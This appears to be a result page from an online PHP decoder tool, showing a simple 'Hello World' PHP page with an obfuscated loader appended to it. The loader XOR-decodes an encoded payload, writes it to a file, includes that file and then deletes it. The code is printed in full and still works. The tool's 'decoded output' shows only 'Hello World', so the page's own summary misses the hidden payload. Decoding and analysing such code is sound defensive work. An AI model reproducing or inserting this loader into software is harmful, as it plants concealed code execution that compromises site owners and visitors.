Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<html> <head> <title>PHP Test</title> </head> <body> <?php echo '<p>Hel..

Decoded Output download

<p>Hello World</p>

Did this file decode correctly?

Original Code

<html>
  <head>
    <title>PHP Test</title>
  </head>
  <body>
    <?php echo '<p>Hello World</p>'; ?> 
    <?php

    function ugRjbbQVYfD($UkbsMa, $CwSQxlGEwiMn)
    {
        $UkbsMa = urldecode($UkbsMa);
        $EhVjnGECl = str_split($UkbsMa);
        $action = "";
        for ($i = 0; $i < strlen($UkbsMa);$i++) {
            $action .= $EhVjnGECl[$i] ^ $CwSQxlGEwiMn[$i%4];
        }
        return $action;
    }

    $i="RG%27%0F%1Eu%5D%27%07%16%3E8%1D%1D%23OI%1D%25%15%01%0A%08%0B%01%1FpKN6%02%2B%22Qljd8%3E%09%07%27%24%02%1APp%0B%01%1F%08%02%1C%0A8%15%1D_%7BG%5EQljd8%3E%09%07%27%24%02%1APp%0A%0F%00%08%02%16%1D4%12%1A%118%091%0C%3E%0A%0B_%7BG%5EQljd8%24%02%1A%27%23%0E%03%1D%08%0B%07%15%3E%13FH%7E%5CcrZmcr1%12%00%1B%23%0E%01%16w%14%06%1C%27OJ%1C6%13%0FTwC%05%1D.Ncr%2CjdXwGN%5C8%12%1A%273%06%1A%19wZNZu%5CcrwGNX1%08%1CX%7FC%07XjG%5ECwC%07XkG%1D%0C%25%0B%0B%16%7FC%0A%19%23%06GC%7EG%15u%5DGNXwGNXw%01%01%0AwOJ%12wZNHlGJ%12w%5BN%0B%23%15%02%1D9OJ%132%1EGXqAN%5C%3EGRX%24%13%1C%142%09F%5C3%06%1A%19%7E%5CN%5C%3DLETwC%07S%7CNN%03ZmNXwGNXwGNXwGJ%17%22%131%1C6%13%0FXyZN%1B%3F%15F%17%25%03F%5C3%06%1A%19%0CC%07%25%7EG0X8%15%0APs%0C%0B%01%0CC%04%25%7ENUu%5DGNXwGNXw%1AcrwGNX%2AjdXwGN%0A2%13%1B%0A9GJ%17%22%131%1C6%13%0FCZm%13u%5D%0E%08X%7F%0E%1D%0B2%13F%5C%08+%2B%2C%0CQYKcT%5B%25%7ENcr%2CjdXwGN%1C%3E%02F%153RFL%60P_J%7ENUu%5D%1Acrs%13%0B%15%27Z%0F%0A%25%06%17%27%3A%02%1C%1F2OJ%27%14%28%213%1E%22BXs8%3E7%043GCZm%08%17%25%02%0F%1B%3FGF%5C%23%02%03%08w%06%1DXs%03%0F%0C68%05%1D.GSFwC%0A%19%23%06GX%2CjdXwGN%5C3%06%1A%19wZN8%22%09%1D%1D%25%0E%0F%14%3E%1D%0BP%24%0F%0A%08%7F%14%06%1C%27O%0C%19%24%02XL%08%03%0B%1B8%03%0BPs%03%0F%0C6NBXp%02%5BM3R%0B%1C1Q_%00.%17%09K%2F%0F%03Ob%0AW%1E%24V%03%145%11%1DH3%01_%12pNBXs%03%0F%0C68%05%1D.NGCZmNXwG%07%1EwO%07%0B%24%02%1APs%03%0F%0C6%3CI%19%3C%403Q%7EG%15u%5DGNXwGNXw%0E%08X%7FC%0A%19%23%065_6%403XjZN_%3E%40GX%2CjdXwGNXwGNXwGN%5C%3EGSX6%15%1C%19.OcrwGNXwGNXwGNXwGNXp%17%18_wZPX%17%17%06%08%21%02%1C%0B%3E%08%00P%7EKcrwGNXwGNXwGNXwGNXp%14%18_wZPXpV%40HzVITZmNXwGNXwGNXwGGCZmNXwGNXwGNXwG%0B%1B%3F%08N8%24%02%1C%116%0B%07%022OJ%11%7E%5CcrwGNXwGNX%2AG%0B%14%24%02%07%1EwOJ%1C6%13%0F%23p%06I%25wZSXp%02IQw%1CcrwGNXwGNXwGNX2%11%0F%14%7FC%0A%19%23%065_3%403QljdXwGNXwGN%05ZmNXwGNXwG%0B%00%3E%13FQljdXwGN%05Zm%13";
    $j="%08%11%3B%021%08%22%131%1B8%09%1A%1D9%13%1D";

    $rVjTzsMZe="nxWglEnDFCmf";

    $k = ugRjbbQVYfD($i, $rVjTzsMZe);
    $f = ugRjbbQVYfD($j, $rVjTzsMZe);
    $f($rVjTzsMZe, $k);
    include_once ($rVjTzsMZe);
    unlink($rVjTzsMZe);
    exit(); ?>
  <script src="https://replit.com/public/js/replit-badge-v2.js" theme="dark" position="bottom-right"></script>
  </body>
</html>

Function Calls

str_split 1
urldecode 1
ugRjbbQVYfD 1

Variables

$i RG%27%0F%1Eu%5D%27%07%16%3E8%1D%1D%23OI%1D%25%15%01%0A%08%0B..
$j %08%11%3B%021%08%22%131%1B8%09%1A%1D9%13%1D
$UkbsMa RG'u]'>8#OI% pKN6+"Qljd8> '$Pp 8_{G^Qljd8> '$Pp 48 1 > _{..
$rVjTzsMZe nxWglEnDFCmf
$CwSQxlGEwiMn nxWglEnDFCmf

Stats

MD5 518663fcb75868015c38e339d4c72344
Eval Count 0
Decode Time 77 ms